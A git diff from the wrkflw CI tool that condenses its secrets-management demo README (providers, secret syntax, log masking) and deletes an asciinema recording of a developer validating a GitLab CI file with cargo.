[26.572101, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.703265, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.83638, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.968908, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.098163, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.231513, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.365735, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.494304, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.624688, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.758051, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.891727, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.019551, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.151498, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.285949, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.367391, "o", "\u001b[?1049l\u001b[?1006l\u001b[?1015l\u001b[?1003l\u001b[?1002l\u001b[?1000l\u001b[?25h"]
|
||||
[28.371166, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[28.373297, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[28.377904, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[28.382012, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[28.382364, "o", "\u001b[?1h\u001b=\u001b[?2004h"]
|
||||
[30.365324, "o", "\u001b[?2004l\r\r\n"]
|
||||
@@ -1,35 +1,14 @@
|
||||
# wrkflw Secrets Management Demo
|
||||
# Secrets Management Demo
|
||||
|
||||
This demo demonstrates the comprehensive secrets management system in wrkflw, addressing the critical need for secure secret handling in CI/CD workflows.
|
||||
|
||||
## The Problem
|
||||
|
||||
Without proper secrets support, workflows are severely limited because:
|
||||
|
||||
1. **No way to access sensitive data** - API keys, tokens, passwords, certificates
|
||||
2. **Security risks** - Hardcoded secrets in code or plain text in logs
|
||||
3. **Limited usefulness** - Can't integrate with real services that require authentication
|
||||
4. **Compliance issues** - Unable to meet security standards for production workflows
|
||||
|
||||
## The Solution
|
||||
|
||||
wrkflw now provides comprehensive secrets management with:
|
||||
|
||||
- **Multiple secret providers** (environment variables, files, HashiCorp Vault, AWS Secrets Manager, etc.)
|
||||
- **GitHub Actions-compatible syntax** (`${{ secrets.* }}`)
|
||||
- **Automatic secret masking** in logs and output
|
||||
- **Encrypted storage** for sensitive environments
|
||||
- **Flexible configuration** for different deployment scenarios
|
||||
Demonstrates wrkflw's secrets management system with multiple providers and GitHub Actions-compatible syntax.
|
||||
|
||||
## Quick Start
|
||||
|
||||
### 1. Environment Variables (Simplest)
|
||||
### Environment Variables (Simplest)
|
||||
|
||||
```bash
|
||||
# Set secrets as environment variables
|
||||
export GITHUB_TOKEN="ghp_your_token_here"
|
||||
export API_KEY="your_api_key"
|
||||
export DB_PASSWORD="secure_password"
|
||||
```
|
||||
|
||||
Create a workflow that uses secrets:
|
||||
@@ -45,19 +24,13 @@ jobs:
|
||||
steps:
|
||||
- name: Use GitHub Token
|
||||
run: |
|
||||
echo "Using token to access GitHub API"
|
||||
curl -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
|
||||
https://api.github.com/user
|
||||
|
||||
|
||||
- name: Use API Key
|
||||
run: |
|
||||
echo "API Key: ${{ secrets.API_KEY }}"
|
||||
|
||||
- name: Database Connection
|
||||
env:
|
||||
DB_PASS: ${{ secrets.DB_PASSWORD }}
|
||||
run: |
|
||||
echo "Connecting to database with password: ${DB_PASS}"
|
||||
KEY: ${{ secrets.API_KEY }}
|
||||
run: echo "Using API key"
|
||||
```
|
||||
|
||||
Run with wrkflw:
|
||||
@@ -66,9 +39,9 @@ Run with wrkflw:
|
||||
wrkflw run .github/workflows/secrets-demo.yml
|
||||
```
|
||||
|
||||
### 2. File-based Secrets
|
||||
### File-based Secrets
|
||||
|
||||
Create a secrets file:
|
||||
Create a secrets file in JSON, YAML, or `.env` format:
|
||||
|
||||
```json
|
||||
{
|
||||
@@ -78,16 +51,7 @@ Create a secrets file:
|
||||
}
|
||||
```
|
||||
|
||||
Or environment file format:
|
||||
|
||||
```bash
|
||||
# secrets.env
|
||||
API_KEY=your_api_key_here
|
||||
DB_PASSWORD="secure database password"
|
||||
GITHUB_TOKEN=ghp_your_github_token
|
||||
```
|
||||
|
||||
Configure wrkflw to use file-based secrets:
|
||||
Configure wrkflw:
|
||||
|
||||
```yaml
|
||||
# ~/.wrkflw/secrets.yml
|
||||
@@ -98,26 +62,21 @@ timeout_seconds: 30
|
||||
providers:
|
||||
file:
|
||||
type: file
|
||||
path: "./secrets.json" # or "./secrets.env"
|
||||
path: "./secrets.json"
|
||||
```
|
||||
|
||||
### 3. Advanced Configuration
|
||||
### External Secret Managers
|
||||
|
||||
For production environments, use external secret managers:
|
||||
For production, use HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, or GCP Secret Manager:
|
||||
|
||||
```yaml
|
||||
# ~/.wrkflw/secrets.yml
|
||||
default_provider: vault
|
||||
enable_masking: true
|
||||
timeout_seconds: 30
|
||||
enable_caching: true
|
||||
cache_ttl_seconds: 300
|
||||
|
||||
providers:
|
||||
env:
|
||||
type: environment
|
||||
prefix: "WRKFLW_SECRET_"
|
||||
|
||||
vault:
|
||||
type: vault
|
||||
url: "https://vault.company.com"
|
||||
@@ -125,381 +84,40 @@ providers:
|
||||
method: token
|
||||
token: "${VAULT_TOKEN}"
|
||||
mount_path: "secret"
|
||||
|
||||
|
||||
aws:
|
||||
type: aws_secrets_manager
|
||||
region: "us-east-1"
|
||||
role_arn: "arn:aws:iam::123456789012:role/SecretRole"
|
||||
```
|
||||
|
||||
## Secret Providers
|
||||
|
||||
### Environment Variables
|
||||
|
||||
**Best for**: Development and simple deployments
|
||||
|
||||
```bash
|
||||
# With prefix
|
||||
export WRKFLW_SECRET_API_KEY="your_key"
|
||||
export WRKFLW_SECRET_DB_PASSWORD="password"
|
||||
|
||||
# Direct environment variables
|
||||
export GITHUB_TOKEN="ghp_token"
|
||||
export API_KEY="key_value"
|
||||
```
|
||||
|
||||
Use in workflows:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Use prefixed secret
|
||||
run: echo "API: ${{ secrets.env:API_KEY }}"
|
||||
|
||||
- name: Use direct secret
|
||||
run: echo "Token: ${{ secrets.GITHUB_TOKEN }}"
|
||||
```
|
||||
|
||||
### File-based Storage
|
||||
|
||||
**Best for**: Local development and testing
|
||||
|
||||
Supports multiple formats:
|
||||
|
||||
**JSON** (`secrets.json`):
|
||||
```json
|
||||
{
|
||||
"GITHUB_TOKEN": "ghp_your_token",
|
||||
"API_KEY": "your_api_key",
|
||||
"DATABASE_URL": "postgresql://user:pass@localhost/db"
|
||||
}
|
||||
```
|
||||
|
||||
**YAML** (`secrets.yml`):
|
||||
```yaml
|
||||
GITHUB_TOKEN: ghp_your_token
|
||||
API_KEY: your_api_key
|
||||
DATABASE_URL: postgresql://user:pass@localhost/db
|
||||
```
|
||||
|
||||
**Environment** (`secrets.env`):
|
||||
```bash
|
||||
GITHUB_TOKEN=ghp_your_token
|
||||
API_KEY=your_api_key
|
||||
DATABASE_URL="postgresql://user:pass@localhost/db"
|
||||
```
|
||||
|
||||
### HashiCorp Vault
|
||||
|
||||
**Best for**: Production environments with centralized secret management
|
||||
|
||||
```yaml
|
||||
providers:
|
||||
vault:
|
||||
type: vault
|
||||
url: "https://vault.company.com"
|
||||
auth:
|
||||
method: token
|
||||
token: "${VAULT_TOKEN}"
|
||||
mount_path: "secret/v2"
|
||||
```
|
||||
|
||||
Use vault secrets in workflows:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Use Vault secret
|
||||
run: curl -H "X-API-Key: ${{ secrets.vault:api-key }}" api.service.com
|
||||
```
|
||||
|
||||
### AWS Secrets Manager
|
||||
|
||||
**Best for**: AWS-native deployments
|
||||
|
||||
```yaml
|
||||
providers:
|
||||
aws:
|
||||
type: aws_secrets_manager
|
||||
region: "us-east-1"
|
||||
role_arn: "arn:aws:iam::123456789012:role/SecretRole"
|
||||
```
|
||||
|
||||
### Azure Key Vault
|
||||
|
||||
**Best for**: Azure-native deployments
|
||||
|
||||
```yaml
|
||||
providers:
|
||||
azure:
|
||||
type: azure_key_vault
|
||||
vault_url: "https://myvault.vault.azure.net/"
|
||||
auth:
|
||||
method: service_principal
|
||||
client_id: "${AZURE_CLIENT_ID}"
|
||||
client_secret: "${AZURE_CLIENT_SECRET}"
|
||||
tenant_id: "${AZURE_TENANT_ID}"
|
||||
```
|
||||
|
||||
## Secret Masking
|
||||
|
||||
wrkflw automatically masks secrets in logs to prevent accidental exposure:
|
||||
wrkflw automatically masks secrets in logs:
|
||||
|
||||
```bash
|
||||
# Original log:
|
||||
# "API response: {\"token\": \"ghp_1234567890abcdef\", \"status\": \"ok\"}"
|
||||
|
||||
# Masked log:
|
||||
# "API response: {\"token\": \"ghp_***\", \"status\": \"ok\"}"
|
||||
```
|
||||
# Original: "token": "ghp_1234567890abcdef"
|
||||
# Masked: "token": "ghp_***"
|
||||
```
|
||||
|
||||
Automatically detects and masks:
|
||||
- GitHub Personal Access Tokens (`ghp_*`)
|
||||
- GitHub App tokens (`ghs_*`)
|
||||
- GitHub OAuth tokens (`gho_*`)
|
||||
- AWS Access Keys (`AKIA*`)
|
||||
- JWT tokens
|
||||
- Generic API keys
|
||||
Auto-detected patterns: GitHub tokens (`ghp_*`, `ghs_*`, `gho_*`), AWS keys (`AKIA*`), JWTs, and generic API keys.
|
||||
|
||||
## Workflow Examples
|
||||
## Multi-Provider Usage
|
||||
|
||||
### GitHub API Integration
|
||||
Reference secrets from specific providers:
|
||||
|
||||
```yaml
|
||||
name: GitHub API Demo
|
||||
on: [push]
|
||||
|
||||
jobs:
|
||||
github-integration:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List repositories
|
||||
run: |
|
||||
curl -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
- name: Create issue
|
||||
run: |
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/repos/owner/repo/issues \
|
||||
-d '{"title":"Automated issue","body":"Created by wrkflw"}'
|
||||
```
|
||||
|
||||
### Database Operations
|
||||
|
||||
```yaml
|
||||
name: Database Demo
|
||||
on: [push]
|
||||
|
||||
jobs:
|
||||
database-ops:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Run migrations
|
||||
env:
|
||||
DATABASE_URL: ${{ secrets.DATABASE_URL }}
|
||||
DB_PASSWORD: ${{ secrets.DB_PASSWORD }}
|
||||
run: |
|
||||
echo "Running database migrations..."
|
||||
# Your migration commands here
|
||||
|
||||
- name: Backup database
|
||||
run: |
|
||||
pg_dump "${{ secrets.DATABASE_URL }}" > backup.sql
|
||||
```
|
||||
|
||||
### Multi-Provider Example
|
||||
|
||||
```yaml
|
||||
name: Multi-Provider Demo
|
||||
on: [push]
|
||||
|
||||
jobs:
|
||||
multi-secrets:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Use environment secret
|
||||
run: echo "Env: ${{ secrets.env:API_KEY }}"
|
||||
|
||||
- name: Use file secret
|
||||
run: echo "File: ${{ secrets.file:GITHUB_TOKEN }}"
|
||||
|
||||
- name: Use Vault secret
|
||||
run: echo "Vault: ${{ secrets.vault:database-password }}"
|
||||
|
||||
- name: Use AWS secret
|
||||
run: echo "AWS: ${{ secrets.aws:prod/api/key }}"
|
||||
steps:
|
||||
- run: echo "${{ secrets.env:API_KEY }}" # from env provider
|
||||
- run: echo "${{ secrets.file:DB_PASSWORD }}" # from file provider
|
||||
- run: echo "${{ secrets.vault:api-key }}" # from Vault
|
||||
```
|
||||
|
||||
## Security Best Practices
|
||||
|
||||
### 1. Use Appropriate Providers
|
||||
- **Development**: use environment variables or file-based secrets
|
||||
- **Production**: use external secret managers (Vault, AWS, Azure, GCP)
|
||||
- Always enable `enable_masking: true`
|
||||
- Rotate secrets regularly
|
||||
- Use least-privilege access for providers
|
||||
|
||||
- **Development**: Environment variables or files
|
||||
- **Staging**: File-based or simple vault
|
||||
- **Production**: External secret managers (Vault, AWS, Azure, GCP)
|
||||
|
||||
### 2. Enable Secret Masking
|
||||
|
||||
Always enable masking in production:
|
||||
|
||||
```yaml
|
||||
enable_masking: true
|
||||
```
|
||||
|
||||
### 3. Rotate Secrets Regularly
|
||||
|
||||
Use secret managers that support automatic rotation:
|
||||
|
||||
```yaml
|
||||
providers:
|
||||
aws:
|
||||
type: aws_secrets_manager
|
||||
region: "us-east-1"
|
||||
# AWS Secrets Manager handles automatic rotation
|
||||
```
|
||||
|
||||
### 4. Use Least Privilege
|
||||
|
||||
Grant minimal necessary permissions:
|
||||
|
||||
```yaml
|
||||
providers:
|
||||
vault:
|
||||
type: vault
|
||||
auth:
|
||||
method: app_role
|
||||
role_id: "${VAULT_ROLE_ID}"
|
||||
secret_id: "${VAULT_SECRET_ID}"
|
||||
# Role has access only to required secrets
|
||||
```
|
||||
|
||||
### 5. Monitor Secret Access
|
||||
|
||||
Use secret managers with audit logging:
|
||||
|
||||
```yaml
|
||||
providers:
|
||||
azure:
|
||||
type: azure_key_vault
|
||||
vault_url: "https://myvault.vault.azure.net/"
|
||||
# Azure Key Vault provides detailed audit logs
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Secret Not Found
|
||||
|
||||
```bash
|
||||
Error: Secret 'API_KEY' not found
|
||||
|
||||
# Check:
|
||||
1. Secret exists in the provider
|
||||
2. Provider is correctly configured
|
||||
3. Authentication is working
|
||||
4. Correct provider name in ${{ secrets.provider:name }}
|
||||
```
|
||||
|
||||
### Authentication Failed
|
||||
|
||||
```bash
|
||||
Error: Authentication failed for provider 'vault'
|
||||
|
||||
# Check:
|
||||
1. Credentials are correct
|
||||
2. Network connectivity to secret manager
|
||||
3. Permissions for the service account
|
||||
4. Token/credential expiration
|
||||
```
|
||||
|
||||
### Secret Masking Not Working
|
||||
|
||||
```bash
|
||||
# Secrets appearing in logs
|
||||
|
||||
# Check:
|
||||
1. enable_masking: true in configuration
|
||||
2. Secret is properly retrieved (not hardcoded)
|
||||
3. Secret matches known patterns for auto-masking
|
||||
```
|
||||
|
||||
## Migration Guide
|
||||
|
||||
### From GitHub Actions
|
||||
|
||||
Most GitHub Actions workflows work without changes:
|
||||
|
||||
```yaml
|
||||
# This works directly in wrkflw
|
||||
steps:
|
||||
- name: Deploy
|
||||
env:
|
||||
API_TOKEN: ${{ secrets.API_TOKEN }}
|
||||
run: deploy.sh
|
||||
```
|
||||
|
||||
### From Environment Variables
|
||||
|
||||
```bash
|
||||
# Before (environment variables)
|
||||
export API_KEY="your_key"
|
||||
./script.sh
|
||||
|
||||
# After (wrkflw secrets)
|
||||
# Set in secrets.env:
|
||||
# API_KEY=your_key
|
||||
|
||||
# Use in workflow:
|
||||
# ${{ secrets.API_KEY }}
|
||||
```
|
||||
|
||||
### From CI/CD Platforms
|
||||
|
||||
Most secrets can be migrated by:
|
||||
|
||||
1. Exporting from current platform
|
||||
2. Importing into wrkflw's chosen provider
|
||||
3. Updating workflow syntax to `${{ secrets.NAME }}`
|
||||
|
||||
## Performance Considerations
|
||||
|
||||
### Caching
|
||||
|
||||
Enable caching for frequently accessed secrets:
|
||||
|
||||
```yaml
|
||||
enable_caching: true
|
||||
cache_ttl_seconds: 300 # 5 minutes
|
||||
```
|
||||
|
||||
### Connection Pooling
|
||||
|
||||
For high-volume deployments, secret managers support connection pooling:
|
||||
|
||||
```yaml
|
||||
providers:
|
||||
vault:
|
||||
type: vault
|
||||
# Vault client automatically handles connection pooling
|
||||
```
|
||||
|
||||
### Timeout Configuration
|
||||
|
||||
Adjust timeouts based on network conditions:
|
||||
|
||||
```yaml
|
||||
timeout_seconds: 30 # Increase for slow networks
|
||||
```
|
||||
|
||||
## Conclusion
|
||||
|
||||
With comprehensive secrets management, wrkflw is now suitable for production workflows requiring secure access to:
|
||||
|
||||
- External APIs and services
|
||||
- Databases and storage systems
|
||||
- Cloud provider resources
|
||||
- Authentication systems
|
||||
- Deployment targets
|
||||
|
||||
The flexible provider system ensures compatibility with existing secret management infrastructure while providing a GitHub Actions-compatible developer experience.
|
||||
|
||||
**The usefulness limitation has been removed** - wrkflw can now handle real-world CI/CD scenarios securely and efficiently.
|
||||
See the [`wrkflw-secrets` crate README](../../crates/secrets/README.md) for full API documentation.
|
||||
|
||||
774
red.cast
774
red.cast
@@ -1,774 +0,0 @@
|
||||
{"version": 2, "width": 245, "height": 61, "timestamp": 1746300930, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
|
||||
[0.393681, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[0.394167, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007"]
|
||||
[0.394183, "o", "\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[0.395693, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[0.396236, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[K"]
|
||||
[0.396293, "o", "\u001b[?1h\u001b="]
|
||||
[0.396318, "o", "\u001b[?2004h"]
|
||||
[0.437911, "o", "\r\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[1.784697, "o", "c"]
|
||||
[1.885654, "o", "\bca"]
|
||||
[2.079234, "o", "t"]
|
||||
[2.252374, "o", " "]
|
||||
[2.858954, "o", "t"]
|
||||
[2.980971, "o", "e"]
|
||||
[3.172113, "o", "s"]
|
||||
[3.276278, "o", "t"]
|
||||
[3.976366, "o", "_"]
|
||||
[5.418211, "o", "g"]
|
||||
[5.804484, "o", "itlab_ci\u001b[1m/\u001b[0m"]
|
||||
[7.30486, "o", "\u0007"]
|
||||
[7.304922, "o", "\b\u001b[0m/\r\r\n"]
|
||||
[7.305065, "o", "\u001b[J\u001b[0madvanced.gitlab-ci.yml \u001b[Jbasic.gitlab-ci.yml \u001b[Jdocker.gitlab-ci.yml \u001b[Jincludes.gitlab-ci.yml \u001b[Jinvalid.gitlab-ci.yml \u001b[Jminimal.gitlab-ci.yml \u001b[Jservices.gitlab-ci.yml \u001b[Jworkflow.gitlab-ci.yml\u001b[J\u001b[A\u001b[0m\u001b[27m\u001b[24m\r\u001b[19Ccat test_gitlab_ci/\u001b[K"]
|
||||
[8.264729, "o", "m"]
|
||||
[8.4479, "o", "i"]
|
||||
[8.643085, "o", "nimal.gitlab-ci.yml\u001b[1m \u001b[0m"]
|
||||
[9.529005, "o", "\b\u001b[0m \b"]
|
||||
[9.529291, "o", "\u001b[?1l\u001b>\u001b[?2004l\r\r\n\u001b[J"]
|
||||
[9.531431, "o", "\u001b]2;cat test_gitlab_ci/minimal.gitlab-ci.yml\u0007\u001b]1;cat\u0007"]
|
||||
[9.563469, "o", "# Minimal GitLab CI configuration\r\n\r\nimage: rust:latest\r\n\r\nbuild:\r\n script:\r\n - cargo build\r\n\r\ntest:\r\n script:\r\n - cargo test "]
|
||||
[9.563717, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[9.564397, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007"]
|
||||
[9.564419, "o", "\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[9.566692, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[9.568961, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[9.569081, "o", "\u001b[?1h\u001b="]
|
||||
[9.569181, "o", "\u001b[?2004h"]
|
||||
[11.969049, "o", "c"]
|
||||
[12.088692, "o", "\bca"]
|
||||
[12.375203, "o", "r"]
|
||||
[12.467428, "o", "g"]
|
||||
[12.549475, "o", "o"]
|
||||
[12.816019, "o", "r"]
|
||||
[13.230493, "o", "\b \b"]
|
||||
[13.400359, "o", " "]
|
||||
[13.600041, "o", "r"]
|
||||
[13.715537, "o", " "]
|
||||
[14.313772, "o", "v"]
|
||||
[14.503158, "o", "a"]
|
||||
[14.615728, "o", "l"]
|
||||
[14.836236, "o", "i"]
|
||||
[14.961289, "o", "d"]
|
||||
[15.051538, "o", "a"]
|
||||
[15.243561, "o", "t"]
|
||||
[15.350827, "o", "e"]
|
||||
[15.447092, "o", " "]
|
||||
[19.359227, "o", "\u001b[7mtest_gitlab_ci/minimal.gitlab-ci.yml\u001b[27m"]
|
||||
[20.437202, "o", "\u001b[36D\u001b[27mt\u001b[27me\u001b[27ms\u001b[27mt\u001b[27m_\u001b[27mg\u001b[27mi\u001b[27mt\u001b[27ml\u001b[27ma\u001b[27mb\u001b[27m_\u001b[27mc\u001b[27mi\u001b[27m/\u001b[27mm\u001b[27mi\u001b[27mn\u001b[27mi\u001b[27mm\u001b[27ma\u001b[27ml\u001b[27m.\u001b[27mg\u001b[27mi\u001b[27mt\u001b[27ml\u001b[27ma\u001b[27mb\u001b[27m-\u001b[27mc\u001b[27mi\u001b[27m.\u001b[27my\u001b[27mm\u001b[27ml"]
|
||||
[20.437676, "o", "\u001b[?1l\u001b>\u001b[?2004l\r\r\n"]
|
||||
[20.439716, "o", "\u001b]2;cargo r validate test_gitlab_ci/minimal.gitlab-ci.yml\u0007\u001b]1;cargo\u0007"]
|
||||
[20.763171, "o", "\u001b[1m\u001b[32m Compiling\u001b[0m proc-macro2 v1.0.94\r\n\u001b[1m\u001b[32m Compiling\u001b[0m unicode-ident v1.0.18\r\n"]
|
||||
[20.763198, "o", "\u001b[1m\u001b[32m Compiling\u001b[0m libc v0.2.171\r\n\u001b[1m\u001b[32m Compiling\u001b[0m autocfg v1.4.0\r\n\u001b[1m\u001b[32m Compiling\u001b[0m cfg-if v1.0.0\r\n"]
|
||||
[20.763207, "o", "\u001b[1m\u001b[32m Compiling\u001b[0m memchr v2.7.4\r\n"]
|
||||
[20.763396, "o", "\u001b[1m\u001b[32m Compiling\u001b[0m serde v1.0.219\r\n\u001b[1m\u001b[32m Compiling\u001b[0m smallvec v1.14.0\r\n\u001b[1m\u001b[32m Compiling\u001b[0m itoa v1.0.15\r\n\u001b[1m\u001b[32m Compiling\u001b[0m bitflags v2.9.0\r\n\u001b[1m\u001b[32m Compiling\u001b[0m parking_lot_core v0.9.10\r\n\u001b[1m\u001b[32m Compiling\u001b[0m scopeguard v1.2.0\r\n\u001b[1m\u001b[36m Building\u001b[0m [ ] 0/270: scopeguard, autocfg, libc(build.rs), serde(build.rs), unicode-ident, memchr, cfg-if, smallvec, proc-macro2(build.rs), itoa, bitflags, parking_lot_core(build.rs) \r"]
|
||||
[20.863836, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m pin-project-lite v0.2.16\r\n\u001b[1m\u001b[36m Building\u001b[0m [ ] 1/270: scopeguard, autocfg, libc(build.rs), serde(build.rs), unicode-ident, memchr, pin-project-lite, smallvec, proc-macro2(build.rs), itoa, bitflags, parking_lot_core(build.rs) \r"]
|
||||
[20.888886, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m hashbrown v0.15.2\r\n\u001b[1m\u001b[36m Building\u001b[0m [ ] 2/270: autocfg, libc(build.rs), serde(build.rs), hashbrown, unicode-ident, memchr, pin-project-lite, smallvec, proc-macro2(build.rs), itoa, bitflags, parking_lot_core(build.rs) \r"]
|
||||
[20.889407, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m equivalent v1.0.2\r\n\u001b[1m\u001b[36m Building\u001b[0m [ ] 3/270: equivalent, autocfg, libc(build.rs), serde(build.rs), hashbrown, memchr, pin-project-lite, smallvec, proc-macro2(build.rs), itoa, bitflags, parking_lot_core(build.rs) \r"]
|
||||
[20.901807, "o", "\u001b[K"]
|
||||
[20.901967, "o", "\u001b[1m\u001b[32m Compiling\u001b[0m stable_deref_trait v1.2.0\r\n\u001b[1m\u001b[36m Building\u001b[0m [ ] 4/270: equivalent, autocfg, libc(build.rs), serde(build.rs), hashbrown, stable_deref_trait, memchr, pin-project-lite, smallvec, proc-macro2(build.rs), bitflags, parking_lot_core(build.rs) \r"]
|
||||
[20.916803, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m once_cell v1.21.2\r\n"]
|
||||
[20.916855, "o", "\u001b[1m\u001b[36m Building\u001b[0m [ ] 5/270: equivalent, autocfg, libc(build.rs), serde(build.rs), hashbrown, stable_deref_trait, memchr, once_cell, smallvec, proc-macro2(build.rs), bitflags, parking_lot_core(build.rs) \r"]
|
||||
[20.954688, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m core-foundation-sys v0.8.7\r\n\u001b[1m\u001b[36m Building\u001b[0m [ ] 6/270: equivalent, autocfg, core-foundation-sys, libc(build.rs), serde(build.rs), hashbrown, stable_deref_trait, memchr, once_cell, proc-macro2(build.rs), bitflags, parking_lot_core(build.rs) \r"]
|
||||
[20.960325, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m bytes v1.10.1\r\n\u001b[1m\u001b[36m Building\u001b[0m [ ] 7/270: autocfg, core-foundation-sys, hashbrown, once_cell, parking_lot_core(build.rs), equivalent, bytes, libc(build.rs), serde(build.rs), stable_deref_trait, memchr, proc-macro2(build.rs) \r"]
|
||||
[20.961287, "o", "\u001b[1m\u001b[36m Building\u001b[0m [ ] 8/270: autocfg, core-foundation-sys, hashbrown, once_cell, equivalent, bytes, libc(build.rs), serde(build.rs), stable_deref_trait, parking_lot_core(build), memchr, proc-macro2(build.rs) \r"]
|
||||
[20.964842, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m futures-sink v0.3.31\r\n\u001b[1m\u001b[32m Compiling\u001b[0m futures-core v0.3.31\r\n\u001b[1m\u001b[36m Building\u001b[0m [ ] 10/270: autocfg, core-foundation-sys, hashbrown, once_cell, bytes, futures-core, libc(build.rs), serde(build.rs), parking_lot_core(build), memchr, proc-macro2(build.rs), futures-sink \r"]
|
||||
[20.979236, "o", "\u001b[1m\u001b[36m Building\u001b[0m [> ] 11/270: autocfg, core-foundation-sys, hashbrown, once_cell, bytes, futures-core, proc-macro2(build), libc(build.rs), serde(build.rs), parking_lot_core(build), memchr, futures-sink \r"]
|
||||
[20.981339, "o", "\u001b[1m\u001b[36m Building\u001b[0m [> ] 12/270: autocfg, core-foundation-sys, hashbrown, once_cell, bytes, futures-core, proc-macro2(build), libc(build.rs), serde(build), parking_lot_core(build), memchr, futures-sink \r"]
|
||||
[21.033814, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m ryu v1.0.20\r\n"]
|
||||
[21.033863, "o", "\u001b[1m\u001b[36m Building\u001b[0m [> ] 13/270: autocfg, core-foundation-sys, ryu, hashbrown, bytes, futures-core, proc-macro2(build), libc(build.rs), serde(build), parking_lot_core(build), memchr, futures-sink \r"]
|
||||
[21.034272, "o", "\u001b[1m\u001b[36m Building\u001b[0m [> ] 14/270: autocfg, core-foundation-sys, ryu, hashbrown, bytes, futures-core, proc-macro2(build), libc(build), serde(build), parking_lot_core(build), memchr, futures-sink \r"]
|
||||
[21.04051, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m serde_json v1.0.140\r\n"]
|
||||
[21.040547, "o", "\u001b[1m\u001b[36m Building\u001b[0m [> ] 15/270: autocfg, core-foundation-sys, ryu, hashbrown, bytes, futures-core, serde_json(build.rs), proc-macro2(build), libc(build), serde(build), parking_lot_core(build), memchr \r"]
|
||||
[21.05181, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m futures-channel v0.3.31\r\n"]
|
||||
[21.052003, "o", "\u001b[1m\u001b[36m Building\u001b[0m [> ] 16/270: futures-channel, autocfg, core-foundation-sys, ryu, hashbrown, bytes, serde_json(build.rs), proc-macro2(build), libc(build), serde(build), parking_lot_core(build), memchr "]
|
||||
[21.052164, "o", "\r"]
|
||||
[21.063105, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m lock_api v0.4.12\r\n"]
|
||||
